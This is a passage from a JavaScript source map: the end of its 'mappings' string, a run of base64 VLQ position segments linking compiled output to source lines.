C,iBAAiB,CAAC,sBAAsB,EAAE,KAAK,IAAI,EAAE,CAAC,CAAC;QAC5D,KAAK,EAAE,KAAK;KACb,CAAC,CAAC,CAAC;IAEJ,MAAM,CAAC,iBAAiB,CAAC,qBAAqB,EAAE,KAAK,EAAE,OAAO,EAAE,EAAE;QAChE,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,IAAI,EAAE,GAAG,OAAO,CAAC,MAAM,CAAC;QACjD,MAAM,QAAQ,GAAG,CAAC,IAAI,IAAI,EAAE,CAA4B,CAAC;QAEzD,QAAQ,IAAI,EAAE,CAAC;YACb,KAAK,UAAU;gBACb,OAAO,MAAM,UAAU,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE5C,KAAK,gBAAgB;gBACnB,OAAO,MAAM,eAAe,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAEjD,KAAK,gBAAgB;gBACnB,OAAO,eAAe,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE3C,KAAK,mBAAmB;gBACtB,OAAO,cAAc,CAAC,QAAQ,CAAC,CAAC;YAElC,KAAK,qBAAqB;gBACxB,OAAO,oBAAoB,CAAC,QAAQ,CAAC,CAAC;YAExC,KAAK,mBAAmB;gBACtB,OAAO,kBAAkB,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE9C,KAAK,oBAAoB;gBACvB,OAAO,mBAAmB,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE/C;gBACE,OAAO;oBACL,OAAO,EAAE,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,wBAAwB,IAAI,IAAI,EAAE,CAAC;oBACnE,OAAO,EAAE,IAAI;iBACd,CAAC;QACN,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,OAAO,MAAM,CAAC;AAChB,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,cAAc,CAAC,UAA4B,EAAE;IACjE,MAAM,MAAM,GAAG,MAAM,eAAe,CAAC,OAAO,CAAC,CAAC;IAC9C,MAAM,SAAS,GAAG,IAAI,oBAAoB,EAAE,CAAC;IAC7C,MAAM,MAAM,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;AAClC,CAAC;AAED,+BAA+B;AAC/B,MAAM,iBAAiB,GACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;IACf,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,eAAe,CAAC;QACzC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,eAAe,CAAC,CAAC,CAAC;AAE9C,IAAI,iBAAiB,EAAE,CAAC;IACtB,4EAA4E;IAC5E,2EAA2E;IAC3E,6EAA6E;IAC7E,kCAAkC;IAClC,MAAM,EAAE,wBAAwB,EAAE,GAAG,MAAM,MAAM,CAAC,kBAAkB,CAAC,CAAC;IACtE,MAAM,MAAM,GAAG,wBAAwB,EAAE,CAAC;IAC1C,KAAK,MAAM,IAAI,IAAI,MAAM,CAAC,KAAK,EAAE,CAAC;QAChC,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,aAAa,IAAI,IAAI,CAAC,CAAC;IAC9C,CAAC;IACD,cAAc,CAAC,EAAE,IAAI,EAAE,MAAM,CAAC,IAAI,EAAE,CAAC,CAAC,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE;QAClD,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,yBAAyB,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;QACpG,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC,CAAC,CAAC;AACL,CAAC"}